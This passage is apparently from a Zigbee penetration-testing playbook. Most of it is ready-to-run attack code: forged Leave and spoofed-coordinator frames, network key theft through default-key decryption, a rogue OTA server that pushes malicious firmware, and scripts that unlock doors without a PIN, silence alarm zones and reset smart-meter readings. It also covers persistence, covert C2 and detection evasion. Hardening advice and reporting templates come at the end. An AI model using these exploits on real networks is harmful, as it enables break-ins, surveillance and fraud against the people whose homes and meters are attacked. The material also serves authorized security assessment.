# After firmware dump, search for known key patterns # Search for ZigBeeAlliance09 default key grep -oba $'\x5a\x69\x67\x42\x65\x65' fw.bin # Search for AES key schedule patterns # Keys often stored at fixed offsets in NV memory binwalk -E fw.bin # Entropy analysis — key regions are high entropy # TI Z-Stack: NV items stored in flash # NWK_KEY_NV_ID = 0x0101 (offset varies by version) python3 zstack_nv_parser.py fw.bin # Search for 16-byte high-entropy blocks python3 << 'EOF' import math, struct data = open("fw.bin","rb").read() for i in range(0, len(data)-16, 1): chunk = data[i:i+16] if all(b != 0 for b in chunk): # Calculate entropy freq = [chunk.count(b)/16 for b in set(chunk)] H = -sum(p*math.log2(p) for p in freq if p>0) if H > 3.8: # High entropy = possible key print(f"0x{i:06x}: {chunk.hex()}") EOF
// SECTION 19

ASSOCIATION ATTACKS

Unauthorized network join, rogue device injection
Joining an Open Network
# Step 1: Find open network (permit join enabled) # Look for Mgmt_Permit_Join_req with duration > 0 tshark -r cap.pcap -Y \ "zbee_zdp.cluster == 0x0036" -V # Step 2: Join using zigpy python3 << 'EOF' import asyncio import zigpy_cc.api as cc from zigpy_cc.zigbee.application import ControllerApplication async def join_network(): app = ControllerApplication( config={ "device": {"path": "/dev/ttyUSB0"}, "network": { "channel": 15, "pan_id": 0x1a62, # target PAN } } ) await app.startup() # Now enumerate all devices for ieee, dev in app.devices.items(): print(f"Device: {ieee} ({dev.model})") asyncio.run(join_network()) EOF
Rogue Coordinator Impersonation

Create a rogue network mimicking a legitimate one to lure devices into associating with your controlled coordinator. Requires stronger signal than legitimate coordinator at target devices.

# Create rogue Zigbee coordinator # Configure with same EPID as legitimate network # Advertise stronger signal strength # Zigbee2MQTT: set matching EPID cat config/configuration.yaml: advanced: pan_id: 0x1a62 # Same as target ext_pan_id: # Same EPID as target - 0xDE, 0xAD, ... channel: 15 network_key: - 0x01, 0x02, ... # Our controlled key # Devices may prefer stronger signal # Especially during active scan / rejoin
// SECTION 21

REJOIN ATTACKS

Force rejoin to capture fresh key exchanges
Force Rejoin — Leave Command
# Forge NWK Leave command to target device # Device will leave network and attempt rejoin # Rejoin = new key transport = capture opportunity python3 << 'EOF' from scapy.all import * from scapy.layers.zigbee import * def forge_leave( src_ieee, # Coordinator IEEE (spoofed) dst_short, # Target device NWK addr pan_id, channel ): pkt = ( Dot15d4FCS() / Dot15d4Data( dest_panid=pan_id, dest_addr=dst_short, src_addr=0x0000, # Coordinator addr ) / ZigbeeNWK( frametype=1, # Command cmd_id=0x04, # Leave flags=0x40 # Rejoin bit set ) ) sendp(pkt, iface="wpan0", channel=channel, count=5) forge_leave( src_ieee="00:11:22:33:44:55:66:77", dst_short=0x1234, pan_id=0x1a62, channel=15 ) EOF
Unsecured Rejoin Attack
# Some networks allow "unsecured rejoin" # Device rejoins without presenting credentials # Trust Center sends network key immediately # Step 1: Monitor for Rejoin Request (NWK Cmd 0x06) tshark -r cap.pcap -Y \ "zbee_nwk.cmd.id == 0x06" # Step 2: Check if unsecured # Unsecured rejoin: NWK frame security bit = 0 tshark -r cap.pcap -Y \ "zbee_nwk.cmd.id == 0x06 && !zbee_nwk.security" # Step 3: If unsecured rejoin accepted, # capture the subsequent key transport tshark -r cap.pcap -Y \ "zbee_aps.cmd.id == 0x05" # Transport Key
// SECTION 22

NETWORK KEY ATTACKS

Key transport interception, key update abuse, brute force
Key Transport Frame Decryption
# APS Transport Key Command (Cmd ID = 0x05) # Encrypted with Default Link Key "ZigBeeAlliance09" python3 << 'EOF' from Crypto.Cipher import AES import binascii # Default link key link_key = bytes.fromhex( "5A696742656541 6C6C69616E636530 39".replace(" ","") ) # Captured APS transport key frame payload # (extract from Wireshark: zbee_aps.key) encrypted_key_frame = bytes.fromhex("YOUR_CAPTURED_BYTES") # AES-128-CCM* decryption # Nonce = Source IEEE (8B) || Frame Counter (4B) src_ieee = bytes.fromhex("AABBCCDDEEFF0011") frame_counter = 0x00000001 nonce = src_ieee + frame_counter.to_bytes(4, 'little') + b'\x05' cipher = AES.new(link_key, AES.MODE_CCM, nonce=nonce, mac_len=4) plaintext = cipher.decrypt(encrypted_key_frame[:-4]) print(f"Network Key: {plaintext.hex()}") EOF
Key Update Monitoring
# Monitor for key update events # NWK Key Update Cmd = 0x0d tshark -r cap.pcap -Y \ "zbee_nwk.cmd.id == 0x0d" -V # Key updates are sent ENCRYPTED with old NWK key # If you have old key, decrypt to get new key # APS Update Device Command (0x03) # Sent when a device rejoins — reveals device status tshark -r cap.pcap -Y \ "zbee_aps.cmd.id == 0x03" -V # Remove Device Command (0x04) # Trust Center can remove devices — forge this tshark -r cap.pcap -Y \ "zbee_aps.cmd.id == 0x04" -V
// SECTION 23

MITM & FRAME SPOOFING

Man-in-the-middle attacks, address spoofing, command injection
Device Address Spoofing
# Spoof coordinator's NWK address (0x0000) # Inject frames appearing to come from coordinator # Effective for: sending key updates, remove device, # Mgmt_Permit_Join, ZDO commands from scapy.all import * from scapy.layers.zigbee import * def inject_coordinator_frame( payload_bytes, dst_addr, pan_id, channel=15 ): """Inject frame spoofing coordinator address""" pkt = ( Dot15d4FCS(fcf_panidcompress=True) / Dot15d4Data( dest_panid=pan_id, dest_addr=dst_addr, src_addr=0x0000, # Coordinator addr ) / ZigbeeNWK( source=0x0000, destination=dst_addr, flags=0x00 # No security (if unencrypted net) ) / Raw(load=payload_bytes) ) sendp(pkt, iface="wpan0", count=3, verbose=0)
ZCL Command Injection
# Inject ZCL On/Off command to target light # Requires: network key (for encryption) # OR target uses no APS security python3 << 'EOF' from zigpy.zcl import foundation from zigpy.zcl.clusters.general import OnOff # If network key known, build properly encrypted frame # Otherwise, try unencrypted (some devices accept) async def toggle_device(app, target_ieee, endpoint=1): dev = app.get_device(target_ieee) cluster = dev.endpoints[endpoint].on_off # Send Toggle command (Cmd ID 0x02) await cluster.toggle() # Force OFF command (Cmd ID 0x00) await cluster.off() # Force ON command (Cmd ID 0x01) await cluster.on() # Write attribute directly await cluster.write_attributes( {"on_off": False} ) EOF
Rogue Router MITM Position

A physical pentest approach: introduce a rogue router device into the mesh network. Because Zigbee mesh routing is automatic, traffic may naturally route through your rogue router depending on signal strength and routing table state.

  1. 1
    Join network as router (requires knowing network key or open join)
  2. 2
    Place router physically between target end device and legitimate router
  3. 3
    Advertise strong LQI to neighboring devices — traffic routes through you
  4. 4
    Log all forwarded traffic; inject modified frames; delay/drop selectively
  5. 5
    Since NWK key is shared, you can decrypt all passing traffic
// SECTION 24

ZLL / ZHA ATTACKS

Zigbee Light Link and Home Automation profile-specific exploits
ZLL (Zigbee Light Link) Specifics

ZLL Profile ID: 0xC05E. Uses Touchlink commissioning. Found in: Philips Hue, IKEA TRÅDFRI, OSRAM LIGHTIFY, GE Link, Sengled.

ZLL Master Key is publicly known (Zigbee Alliance published it). This means anyone can decrypt ZLL commissioning exchanges and perform factory resets.

ZLL Network Key: Can be stolen during ZLL commissioning — the joining device receives the network key encrypted with the ZLL master key. With the known master key, trivially decryptable.

ZHA (Zigbee Home Automation) Attack Vectors

ZHA Profile ID: 0x0104. Used by most smart home devices. Trust-center based with network-layer key security.

Common ZHA Vulnerabilities:

  • !
    Default link key usage during join — key transport interception
  • !
    No key rotation in most deployments
  • !
    Open permit-join windows — anyone can join during setup
  • !
    No authentication of ZDO commands from joined devices
  • !
    ZCL commands accepted without application-level auth
// SECTION 25

COORDINATOR ATTACKS

The crown jewel — attacking the network root
Open Permit-Join Abuse

When coordinator permits join (for device pairing), ANY device can join within the permit duration. Abuse windows:

# Monitor for Permit Join events mosquitto_sub -t \ "zigbee2mqtt/bridge/event" -v # Detect via Wireshark zbee_zdp.cluster == 0x0036 # Join immediately when window opens # Use zigpy to join any open network
Coordinator Firmware Bugs

Known vulnerabilities in coordinator implementations:

  • CVE
    Zigbee2MQTT MQTT injection via device names
  • CVE
    TI Z-Stack buffer overflow in network manager
  • CVE
    Silicon Labs EmberZNet heap overflow
  • CVE
    CC2530 malformed NWK header crash
ZDO Mgmt_Permit_Join Injection
# Force coordinator to open join window # If no authentication on ZDO commands pkt = forge_zdp_frame( cluster=0x0036, # Mgmt_Permit_Join_req dst_addr=0x0000, # Coordinator payload={ "duration": 255, # Max duration "trust_center_significance": 1 } ) sendp(pkt, iface="wpan0") # Any router can also receive this command # Some coordinators authenticate this; many don't
// SECTION 26

OTA UPDATE HIJACK

Malicious firmware injection via Zigbee OTA cluster
🔴 CRITICAL IMPACT: Successful OTA firmware injection results in complete device takeover. The device becomes fully attacker-controlled — persistent, stealthy, and capable of further pivoting.
OTA Cluster Attack Flow
  1. 1
    Join network as OTA Upgrade Server (Cluster 0x0019, Server role)
  2. 2
    Respond to Query Next Image Request from target device with a higher firmware version number
  3. 3
    Device initiates Image Block Request — send malicious firmware blocks
  4. 4
    Device downloads all blocks and signals Upgrade End Request
  5. 5
    Device applies firmware and reboots — now running malicious code
Most consumer ZLL/ZHA devices do NOT verify firmware signatures. Smart Energy devices use code-signing but implementation quality varies.
OTA Server Implementation
#!/usr/bin/env python3 # Rogue OTA server — serves malicious firmware import zigpy.ota as ota from zigpy.zcl.clusters.general import Ota class RogueOtaServer: def __init__(self, malicious_fw_path): self.fw = self.load_firmware(malicious_fw_path) def load_firmware(self, path): """Load malicious OTA image""" with open(path, 'rb') as f: data = f.read() return OtaImage( manufacturer_id=0x0000, # Wildcard image_type=0xFFFF, # Wildcard file_version=0xFFFFFFFF, # Highest version data=data ) async def handle_query_next_image(self, req): """Always respond: yes, upgrade available""" return QueryNextImageResponse( status=0x00, # Success manufacturer_id=req.manufacturer_id, image_type=req.image_type, file_version=0xFFFFFFFF, image_size=len(self.fw.data) ) async def handle_block_request(self, req): """Serve firmware block by block""" offset = req.file_offset length = req.max_data_size block = self.fw.data[offset:offset+length] return ImageBlockResponse( status=0x00, data=block, file_offset=offset )
// SECTION 27

EXPLOIT CHAINS

Chaining multiple vulnerabilities for maximum impact
Chain A: Physical Access → Full Network Compromise
01
JTAG Dump
02
Extract NWK Key
03
Decrypt Traffic
04
Join Network
05
OTA Inject
06
Persist & Pivot

JTAG dump of any one device → extract NWK key from flash → decrypt all historical traffic → join with extracted credentials → serve malicious OTA firmware → persistent backdoor on every device.

Chain B: Remote Touchlink → Network Takeover
01
Touchlink Scan
02
Factory Reset
03
Steal Device
04
Monitor Join
05
Sniff NWK Key
06
Full Access

Touchlink factory reset → steal device into attacker network → owner re-adds device (generates join) → sniff new key transport → decrypt entire network with extracted key.

Chain C: No Physical Access → ZCL Command Injection
01
Passive Sniff
02
Wait for Join
03
Capture Key
04
Enumerate ZCL
05
Inject Commands
06
Control Devices
// SECTION 28

FIRMWARE ANALYSIS

Reverse engineering Zigbee device firmware for vulnerabilities
Binwalk Analysis Pipeline
# Step 1: Identify firmware format binwalk firmware.bin # Step 2: Entropy analysis (find encrypted/compressed regions) binwalk -E firmware.bin # Step 3: Extract filesystem / known formats binwalk -e firmware.bin # Step 4: Find strings (credentials, keys, debug info) strings -n 8 firmware.bin | grep -iE \ "key|pass|secret|zigbee|network|auth" # Step 5: Identify CPU architecture file firmware.bin binwalk -A firmware.bin # Opcode scan # Common Zigbee chip architectures: # CC2530/CC2531: 8051 (little endian) # EM35x: ARM Cortex-M3 # CC2652: ARM Cortex-M4 # nRF52840: ARM Cortex-M4
Ghidra Zigbee Stack Analysis
# Import firmware into Ghidra # Set processor: 8051 (CC2530) or ARM-LE (modern chips) # Key areas to analyze in Z-Stack firmware: # 1. nwk_process_data_indication() — NWK rx handler # 2. aps_process_data_indication() — APS rx handler # 3. zclParseAndCallCommandHandler() — ZCL handler # 4. nwk_key_material_t — key storage struct # 5. NLME_JoinRequest() — join procedure # 6. ZDApp_ProcessOSALMsg() — ZDO dispatcher # Look for: # - Buffer length checks before memcpy() # - Stack canary presence/absence # - Input validation in ZCL handlers # - Key storage locations in NV memory map # - Default values hard-coded in flash
NV Memory Layout — TI Z-Stack (CC2530)
# TI Z-Stack NV Item IDs (key storage locations) #define ZCD_NV_EXTADDR 0x0001 # IEEE Address #define ZCD_NV_NIB 0x0021 # Network Info Block (PAN ID, channel, etc.) #define ZCD_NV_DEVICE_LIST 0x0022 # Known devices #define ZCD_NV_ADDRMGR 0x0023 # Address manager #define ZCD_NV_NWK_KEY 0x0082 # ← NETWORK KEY LOCATION #define ZCD_NV_APS_LINK_KEY_TABLE 0x0E01 # Link keys #define ZCD_NV_TCLK_TABLE 0x0101 # TC link key table # On CC2530: NV stored in upper flash pages # Pages 62-63 (0xF800-0xFFFF): NV storage # Dump with cc-tool, search at 0xF800 offset dd if=firmware_full.bin bs=1 skip=$((0xF800)) count=$((0x800)) | \ xxd | grep -A2 "0082"
// SECTION 29

ZCL CLUSTER ABUSE

Exploiting Zigbee Cluster Library commands for unauthorized control
Door Lock Cluster (0x0101) — Critical
# Send Lock/Unlock without PIN # Many Zigbee locks accept commands without PIN validation async def exploit_door_lock(device): cluster = device.endpoints[1].door_lock # Unlock without PIN (Cmd 0x01) result = await cluster.unlock_door("") print(f"Unlock result: {result}") # Try to read PIN table try: pins = await cluster.read_attributes([ 'num_of_pin_users_supported', 'max_pin_code_length', 'min_pin_code_length', ]) print(f"PIN config: {pins}") except Exception as e: print(f"PIN read failed: {e}") # Try GetPin command (Cmd 0x06) # Many implementations return PINs in plaintext! result = await cluster.get_pin(0) # User 0 print(f"PIN for user 0: {result}")
IAS Zone Cluster (0x0500) — Alarm Bypass
# Suppress alarm sensor zones # IAS Zone commands async def bypass_alarm_zone(device): cluster = device.endpoints[1].ias_zone # Write Zone State to 0 (unenrolled = inactive) await cluster.write_attributes({ 'zone_state': 0x00 # Not enrolled }) # Or change CIE IEEE address to our device # This redirects alarm notifications to us! await cluster.write_attributes({ 'ias_cie_address': OUR_IEEE_ADDR }) # Zone Enroll Response — enroll with rogue CIE await cluster.zone_enroll_response( enroll_response_code=0x00, # Success zone_id=0x00 ) print("Alarm zone now reports to us!")
Basic Cluster (0x0000) — Factory Reset
# Write to Basic cluster to factory reset device # Command: Reset to Factory Defaults (Cmd 0x00) async def factory_reset_via_zcl(device): cluster = device.endpoints[1].basic # Send Reset to Factory Defaults command await cluster.reset_fact_default() print("Factory reset sent!") # Also try writing specific attributes # that trigger reset behavior on some devices try: await cluster.write_attributes({ 'reset_fact_default': True }) except: pass # Read manufacturer/model before reset attrs = await cluster.read_attributes([ 'manufacturer', 'model', 'sw_build_id' ]) print(f"Target: {attrs}")
Metering Cluster (0x0702) — Smart Energy Fraud
# Smart energy meter — read/manipulate data async def smart_meter_attack(device): cluster = device.endpoints[1].metering # Read current consumption result = await cluster.read_attributes([ 'current_summ_delivered', # Total energy 'current_summ_received', # Back-feed 'instantaneous_demand', # Live demand 'current_tier1_summ_delivered', 'daily_freeze_time', ]) # Try to write summation (fraud attempt) try: await cluster.write_attributes({ 'current_summ_delivered': 0 # Reset to 0 }) print("CRITICAL: Meter reading reset!") except PermissionError: print("Write protected (expected)") # Inject false demand response await cluster.request_mirror()
// SECTION 30

POST EXPLOITATION

Persistence, pivoting, lateral movement, data exfiltration
Network Persistence
  • Add rogue router device that persists in the mesh
  • Inject binding entries to redirect device reports
  • Modify coordinator config to add backdoor join mechanism
  • OTA inject persistent backdoor firmware to end devices
  • Modify NV memory on compromised device to store keys
Data Exfiltration
  • Log all device state changes (presence detection, lock status)
  • Extract occupancy patterns from motion sensors
  • Read thermostats for presence-correlated data
  • Correlate power meter data with appliance usage patterns
  • Intercept door/window sensor events for physical surveillance
Cross-Protocol Pivoting
  • Compromised Zigbee coordinator often runs on home gateway — pivot to IP network
  • Zigbee2MQTT → MQTT broker → HA instance → full smart home control
  • HA instance → cloud API → remote access
  • Compromised bulb firmware → covert RF beacon for C2
  • Smart meter → AMI head-end → utility billing system
// SECTION 31

CRYPTOGRAPHIC ATTACKS

AES-CCM* weaknesses, nonce reuse, MIC forgery
Frame Counter Nonce Reuse

AES-128-CCM* uses a 13-byte nonce: Source IEEE (8B) + Frame Counter (4B) + Security Level (1B). If frame counter resets (power cycle, counter overflow), nonce reuse occurs — catastrophic for CCM mode.

# Detect nonce reuse: same nonce, different ciphertext python3 << 'EOF' from collections import defaultdict nonce_map = defaultdict(list) for pkt in rdpcap("capture.pcap"): if ZigbeeSecurityHeader in pkt: sh = pkt[ZigbeeSecurityHeader] nonce = (sh.source, sh.fc) nonce_map[nonce].append(bytes(pkt)) for nonce, pkts in nonce_map.items(): if len(pkts) > 1: print(f"NONCE REUSE DETECTED: {nonce}") print(f" Packets: {len(pkts)}") # XOR ciphertexts to cancel keystream # plaintexts XOR each other = analyze both xored = bytes(a^b for a,b in zip(pkts[0],pkts[1])) print(f" XOR: {xored.hex()}") EOF
AES-CCM* Keystream Recovery

With two frames using the same nonce (nonce reuse), XOR the ciphertexts to cancel keystream. Then use known-plaintext attacks (Zigbee headers are partially known/predictable) to recover keystream and decrypt both frames.

# With two ciphertexts C1, C2 under same nonce: # C1 = P1 XOR KS (keystream) # C2 = P2 XOR KS # C1 XOR C2 = P1 XOR P2 # If P1 partially known (e.g., ZCL header): # KS = C1 XOR P1 (known plaintext) # P2 = C2 XOR KS = C2 XOR C1 XOR P1 # Zigbee NWK header after decryption has # predictable structure — use as known plaintext # [FrameCtrl(2) | DstAddr(2) | SrcAddr(2) | Radius(1) | SeqNum(1)]
MIC (Message Integrity Code) Considerations

Zigbee uses 4-byte MIC by default (ENC-MIC-32). This provides 1-in-4-billion chance of a random frame passing MIC verification — adequate for most scenarios. However:

  • !
    4-byte MIC forgery: ~2^32 attempts needed. Feasible for dedicated hardware (FPGA) against a constrained command space. If only 256 valid command payloads exist, MIC forgery may be feasible in hours.
  • !
    MIC stripping: Some implementations (esp. older Zigbee 2004/2006) accept frames without proper MIC validation — check by sending frames with zeroed MIC.
  • !
    CCM* with Security Level 0: No encryption, no MIC. Devices that accept unprotected frames alongside protected ones can be attacked by downgrading security level.
  • !
    Security Level Downgrade: The security level field in the Security Header is authenticated by the MIC — but the MAC/NWK security control byte parsing bugs in some implementations allow level downgrade.
// SECTION 32

ZIGBEE 3.0 SPECIFICS

BDB commissioning, install codes, distributed security
Base Device Behavior (BDB) Attack Surface

Zigbee 3.0 introduced the Base Device Behavior specification — standardized commissioning. Attack surfaces:

  • !
    Install Code Bypass: Install codes generate unique link keys per device. But many products still ship with default link key as fallback — try both during assessment.
  • !
    BDB Touchlink: ZLL retained as optional commissioning method. Interoperable with ZHA. Same Touchlink attacks apply.
  • !
    Distributed Security Network: No central Trust Center. Any router can approve joins. Increases attack surface significantly — no single point for key management.
  • !
    Network Steering: Coordinator broadcasts permit-join; any device scanning can see and potentially join.
Install Code Extraction
# Install codes are printed on device labels # Physical access → photograph QR code / barcode # IC = 16-byte code + 2-byte CRC (Matyas-Meyer-Oseas) # Convert install code to link key (Matyas-Meyer-Oseas hash) python3 << 'EOF' from Crypto.Cipher import AES def ic_to_link_key(install_code_hex): """Convert install code to Zigbee 3.0 link key""" ic = bytes.fromhex(install_code_hex) # Verify CRC-16 (last 2 bytes) # Hash using Matyas-Meyer-Oseas: AES-MMO key = bytes(16) # initial key = 0 for i in range(0, len(ic), 16): block = ic[i:i+16].ljust(16, b'\x00') cipher = AES.new(key, AES.MODE_ECB) encrypted = cipher.encrypt(block) key = bytes(a^b for a,b in zip(encrypted, block)) return key # Example: 83FED3407A939723A5C639B26916D505 ic = "83FED3407A939723A5C639B26916D505" link_key = ic_to_link_key(ic) print(f"Link Key: {link_key.hex()}") EOF
// SECTION 34

COVERT CHANNELS

Using Zigbee as a C2 channel, hidden communication
Zigbee as C2 Channel

Compromised Zigbee devices (post OTA injection) can serve as a covert RF communication channel:

  • Use manufacturer-specific ZCL clusters (0xFF00–0xFFFF) to send arbitrary data
  • Encode C2 data in ZCL attribute values of innocuous clusters (e.g., encode in current_level of Level Control cluster)
  • Use timing covert channel: modulate transmission intervals to encode bits
  • Leverage Zigbee's mesh to route C2 traffic through multiple hops
Detection Evasion
  • Traffic blends with legitimate Zigbee traffic — hard to distinguish without decryption
  • Low duty cycle matches normal sensor behavior
  • Operates in 2.4 GHz ISM band — high noise floor, hard to isolate
  • Short-range (10–100m) limits detection radius
  • No IP traffic generated — bypasses network-level detection
// SECTION 35

PENTEST METHODOLOGY

Structured approach for professional Zigbee security assessments
1
Planning
2
Passive Recon
3
Active Discovery
4
Vulnerability Analysis
5
Exploitation
6
Post-Exploit
7
Reporting
Phase 1: Planning & Scoping
  • 1
    Obtain written authorization with specific scope (PAN IDs, device types, physical access permissions)
  • 2
    Document target environment: device types, vendor products, network topology if known
  • 3
    Identify regulatory constraints (FCC/ETSI compliance for jamming tests)
  • 4
    Set up isolated lab environment to verify tools without affecting production
  • 5
    Prepare hardware (CC2531/CC2652 flashed, KillerBee working, Wireshark keys configured)
  • 6
    Define success criteria and impact thresholds per device type
Phase 2–3: Reconnaissance
  • 1
    Energy scan all 16 channels — identify active channels
  • 2
    60-minute passive capture on top 3 active channels
  • 3
    Decode captures: enumerate PAN IDs, device count, security levels
  • 4
    Attempt default key decryption of captures
  • 5
    Active stumble (if authorized): zbstumbler to map PANs
  • 6
    ZDO discovery: enumerate endpoints, clusters, capabilities
  • 7
    Identify device vendors from IEEE OUI, manufacturer cluster data
  • 8
    Cross-reference firmware versions against known CVEs
// SECTION 36

MASTER CHECKLIST

Complete assessment checklist — print and use during engagements
Network Discovery
  • Energy scan all 16 channels, document active channels
  • Capture beacons — identify all PAN IDs and Extended PAN IDs
  • Enumerate all device IEEE addresses and NWK short addresses
  • Identify coordinator address (short addr 0x0000)
  • Map device roles: coordinator, router, end device
  • Enumerate all endpoints and clusters per device
  • Read Basic cluster: manufacturer, model, firmware version
  • Map neighbor/routing tables via ZDO Mgmt_Lqi_req
Security Configuration
  • Verify NWK-layer encryption is enabled on all frames
  • Check APS-layer encryption is used for sensitive clusters
  • Test for frames with security level = 0 (no protection)
  • Attempt decryption with all known default keys
  • Check frame counter implementation — test non-persistent counter
  • Verify install codes vs default link key usage
  • Check if network key rotation is implemented
  • Assess Touchlink commissioning — is it enabled?
Attack Surface
  • Test for open permit-join windows
  • Attempt network join during any observed permit-join window
  • Test key transport sniffing during device join
  • Test Touchlink factory reset (if ZLL devices present)
  • Attempt unsecured rejoin
  • Test ZCL command injection: On/Off, Door Lock, IAS Zone
  • Test ZDO command injection: Permit Join, Remove Device
  • Test replay attacks against actuator commands
  • Attempt OTA server impersonation
  • Test for DoS: association flood, beacon flood
Hardware Assessment
  • Identify exposed debug interfaces (JTAG/SWD/UART)
  • Attempt JTAG/SWD firmware extraction
  • Search extracted firmware for hardcoded keys/credentials
  • Check NV memory for key storage (known offsets)
  • Analyze firmware for buffer overflows in NWK/APS handlers
  • Check for stack canaries and ASLR in firmware
  • Verify secure boot implementation (signature verification)
  • Test physical tamper protection
// SECTION 37

REPORTING TEMPLATE

Severity ratings, finding template, executive and technical outputs
Critical (CVSS 9.0–10.0)
CRIT
  • Network key exposed via default link key intercept
  • Physical access bypass via ZCL door lock exploit
  • Malicious OTA firmware injection successful
  • Full network takeover via coordinator compromise
  • Alarm suppression via IAS zone manipulation
High (CVSS 7.0–8.9)
HIGH
  • Touchlink factory reset without physical proximity
  • Replay attack enables actuator control
  • Unsecured rejoin allows unauthorized network access
  • Network key extraction via JTAG/EEPROM
  • Open permit-join allows rogue device association
Medium/Low
MED
  • No network key rotation implemented
  • Default link key not replaced with install codes
  • ZDO commands accepted without authentication
  • Device information disclosure via ZCL reads
  • Association flood vulnerability (protocol-level DoS)
  • Finding Entry Template
    FINDING: [ID] — [Short Title] Severity: CRITICAL / HIGH / MEDIUM / LOW / INFO CVSS Score: X.X (Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) DESCRIPTION: [Clear description of the vulnerability, what it is and why it exists] AFFECTED COMPONENTS: - Device: [Manufacturer / Model / Firmware Version] - Zigbee Profile: ZHA / ZLL / SE / Custom - Cluster/Layer: [Specific cluster ID or protocol layer] REPRODUCTION STEPS: 1. [Step-by-step reproduction with exact commands] 2. [KillerBee/Scapy/zigpy commands used] 3. [Expected vs actual behavior] EVIDENCE: - Packet capture: [filename.pcap] - Screenshot: [image showing result] - Command output: [paste relevant output] IMPACT: [What can an attacker do? Physical safety? Confidentiality? Availability?] [Map to business impact if relevant] REMEDIATION: [Specific fix: e.g., "Implement install codes per Zigbee 3.0 BDB spec §5.3"] [References to standards or best practices] REFERENCES: [CVE numbers if applicable] [Zigbee spec section] [Vendor advisory]
    // SECTION 38

    DEFENSES & HARDENING

    What good Zigbee security looks like — for blue teamers and developers
    Immediate Hardening Actions
    1. 1
      Use Install Codes: Generate unique install codes per device. Configure Trust Center to require install-code-derived link keys. Never use the default "ZigBeeAlliance09" link key.
    2. 2
      Disable Touchlink: Unless required, disable ZLL Touchlink commissioning or enforce RSSI proximity threshold (-40 dBm or stricter).
    3. 3
      Minimize Permit-Join Windows: Use smallest necessary duration (< 60 seconds). Never leave permit-join permanently open. Log all join events.
    4. 4
      Implement Key Rotation: Rotate network key after any suspected compromise. Rotate periodically (monthly for high-security deployments).
    5. 5
      Enable APS-Layer Encryption: Require APS security (link key encryption) for sensitive clusters (Door Lock, IAS Zone, Metering).
    6. 6
      Secure Boot + Firmware Signing: Verify OTA firmware signatures before applying. Reject unsigned or unrecognized manufacturer OTA images.
    Network Monitoring
    1. 1
      Deploy a dedicated Zigbee sniffer for IDS purposes — alert on: new device associations, key transport frames, broadcast commands, unusual frame rates
    2. 2
      Whitelist expected IEEE addresses — alert on any unknown device
    3. 3
      Monitor for Touchlink scan requests on channel 11 — any Touchlink activity should be investigated
    4. 4
      Monitor OTA upgrade cluster — alert on any OTA image blocks being served by unexpected devices
    5. 5
      Log all ZDO Mgmt_Permit_Join_req frames — especially from non-coordinator sources
    6. 6
      Alert on frame counter anomalies — potential replay or nonce reuse attacks
    // SECTION 39

    REFERENCES & CVEs

    Key CVEs, papers, and standards for Zigbee security research
    Notable CVEs
    CVEDescriptionSeverity
    CVE-2020-6007Philips Hue Touchlink factory reset exploitCRITICAL
    CVE-2019-15512Zigbee2MQTT SSRF via MQTTHIGH
    CVE-2020-27212Silicon Labs EmberZNet stack overflowCRITICAL
    CVE-2017-7932WINK hub Zigbee key exposureHIGH
    CVE-2015-8690Zigbee Light Link key disclosureCRITICAL
    ZBEE-NWK-001Default link key enables MITM on joinCRITICAL
    Essential Reading
    • 📄
      KillerBee: Travis Goodspeed, "Exploiting Zigbee" — DEF CON 17 (2009). The foundational Zigbee security paper.
    • 📄
      Cognosec / IOActive: "ZigBee Exploited" — Full network key recovery via default link key (2015)
    • 📄
      Ronen et al.: "IoT Goes Nuclear" — Zigbee worm via Touchlink (2017), Philips Hue
    • 📄
      Check Point: "ZigBee Hue Lighting" — CVE-2020-6007 research
    • 📄
      IEEE 802.15.4-2020: Physical and MAC layer specification
    • 📄
      Zigbee Specification r22: Official alliance specification (docs.zigbee.org)
    • 📄
      Zigbee Cluster Library Specification: ZCL 8 — cluster definitions
    • 📄
      NIST SP 800-187: Guide to LTE Security — includes 802.15.4 context
    Key Tool Repositories
    github.com/joswr1ght/killerbee # KillerBee framework github.com/Koenkk/zigbee2mqtt # Zigbee2MQTT github.com/zigpy/zigpy # Python Zigbee stack github.com/wireshark/wireshark # Zigbee dissectors github.com/nccgroup/zigbee-security # NCC Group research tools github.com/akestoridis/atusb-attacks # ATUSB attack scripts
    github.com/francisfueconcillo/touchlink-exploit github.com/dashesy/cc-tool # CC2531 flasher github.com/Koenkk/Z-Stack-firmware # Coordinator fw github.com/scapy/scapy # Packet crafting gnuradio.org + gr-ieee802-15-4 # SDR decode github.com/nmap/nmap # Not Zigbee-native but scan gateways
    ✓ END OF ZIGBEE PENTEST PLAYBOOK // v3.0 — Maintained for Zigbee 3.0, ZLL, ZHA, SE profiles.
    Always use these techniques within the scope of authorized security assessments.
    Security research advances the field — responsible disclosure protects users.